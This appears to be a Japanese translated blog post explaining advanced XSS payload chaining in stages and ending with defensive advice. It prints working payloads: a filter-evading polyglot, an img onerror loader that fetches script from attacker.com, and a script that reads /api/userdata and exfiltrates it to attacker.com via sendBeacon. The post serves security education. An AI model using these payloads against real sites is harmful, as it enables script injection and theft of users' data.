Decoding Advanced XSS Payload Chaining Tactics から学ぶ

ソース:

infosecwriteups.com

脆弱性XSS

 

訳:

 

 

デジタル環境は進化し続ける戦場であり、サイバーセキュリティの専門家と悪意のあるハッカーが互いの戦略に絶えず適応し続けています。
この一か八かのゲームでは、高度なクロスサイト スクリプティング (XSS) ペイロード チェーンが特に高度な技術として際立っており、Web アプリケーション攻撃の複雑さと潜在的な深刻さを示しています。
このような攻撃の複雑さを理解するために、より複雑な XSS ペイロード チェーンのスレッドを解明してみましょう。 

 

 

ステージ 1: 基本的な XSS を使用したステージの設定

複雑な XSS チェーンへの取り組みは、単純なステップ、つまり基礎から始まります。 これは単純なスクリプト インジェクションです。

 

<script>alert('XSS');</script>

 

このようなペイロードは最新のセキュリティ フィルターによって簡単に捕捉される可能性がありますが、より複雑なチェーンの重要な構成要素として機能します。 

 

ステージ 2: エンコードと難読化

次のステップはエンコードと難読化で、単純なものを解読不可能なものに変えます。
攻撃者は多くの場合、複数のエンコード層や難読文字を使用してペイロードを偽装し、ペイロードが検出されずに基本フィルターを通過できるようにします。

 

%3Cscript%3Ealert(%27XSS%27)%3B%3C%2Fscript%3E

 

これで、ペイロードが URL エンコードされました。
シンプルで効果的ですが、私たちはより複雑なものを目指して構築して。

 

ステージ 3: ポリグロットによる高度なフィルターのバイパス

 

ポリグロットを入力します。
これは、複数のコンテキストで実行するように設計されたペイロードです。
これらの文字列はカメレオンであり、配置される場所に応じて機能を変更し、多くの場合、HTML、JavaScriptCSS を単一の圧縮された攻撃ベクトルに組み合わせます。 

 

jaVasCript:/*-/*`/*\\\\`/*'/*"/**/(/* */oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!> <sVg/<sVg/oNloAd=alert()//>\\\\x3e

 

ポリグロットはその多用途性と、従来のフィルタリング方法を使用して検出して軽減することが難しいため、特に危険な可能性があります。 

 

ステージ 4: 複数ステージのペイロードのためのテクニックの結合

 

ここで、さまざまなテクニックを連鎖させて多段階のペイロードを作成するという最高潮に達しました。
このアプローチには、第 2 ステージをトリガーするためにユーザーの対話を必要とするペイロードの配信が含まれる場合があり、その結果、リモートサーバーから別のペイロードがロードされます。

 

多段階 XSS ペイロード チェーンの例:

 

<img src=x onerror="this.onerror=null;this.src='<http://attacker.com/xss.js>';">

 

このシナリオでは、イメージ タグのエラー処理属性 ( onerror) を悪用して JavaScript を実行します。
ペイロードは無害なアクション (イメージの読み込み失敗) で始まりますが、すぐに外部ドメインからの悪意のあるスクリプトの読み込みに移行します。

 

ステージ 5: 二次注入ポイントの活用

 

攻撃がその可能性を最大限に発揮するには、二次注入ポイントを悪用することができます。
これには、新しい注入ポイントを作成するスクリプトの注入、または追加のペイロードの実行を可能にする方法で DOM の変更が含まれます。 

 

<script>document.write('<input type="hidden" onload="executeComplexPayload()"/>');</script>

 

ここで、スクリプトは実行時に新しい HTML 要素をページに書き込みます。
これには、ページの読み込み時に別の関数またはペイロードを実行するイベント ハンドラーが含まれます。 

 

最終段階: 見返り — データの漏洩または制御の確立

 

複雑な XSS チェーンの最終目標は、多くの場合、データの抽出または制御の確立です。
チェーンされたペイロードにより、攻撃者が侵害されたブラウザにコマンドを送信したり、リアルタイムでデータを窃取したりできるコマンド アンド コントロール シナリオがセットアップされる可能性があります。

 

<script>
fetch('/api/userdata').then(r => r.text()).then(data => {
navigator.sendBeacon('<http://attacker.com/stealdata>', data);
});
</script>

 

この最後の部分では、スクリプトは機密性の高いエンドポイントにフェッチ リクエストを作成し、 sendBeacon攻撃者が制御するサーバーにデータを送信する方法。 

 

高度な XSS ペイロード チェーンは、Web アプリケーションのセキュリティに対する重大な脅威となります。
これは、徹底した入力サニタイズ、コンテンツ セキュリティ ポリシー、ユーザー提供データに対する最小特権の原則など、堅牢な防御手段の必要性を示しています。

 

XSS ペイロード チェーンの迷宮を旅するうちに、1 つのことがはっきりと明らかになります。
それは、自己満足はセキュリティの敵であるということです。
あなたの Web アプリケーションは、このような高度な攻撃に対して備えられていますか?
自分のデータとユーザーのデータの安全を確保するために、防御をどのように強化しますか? 

 

ほなほな。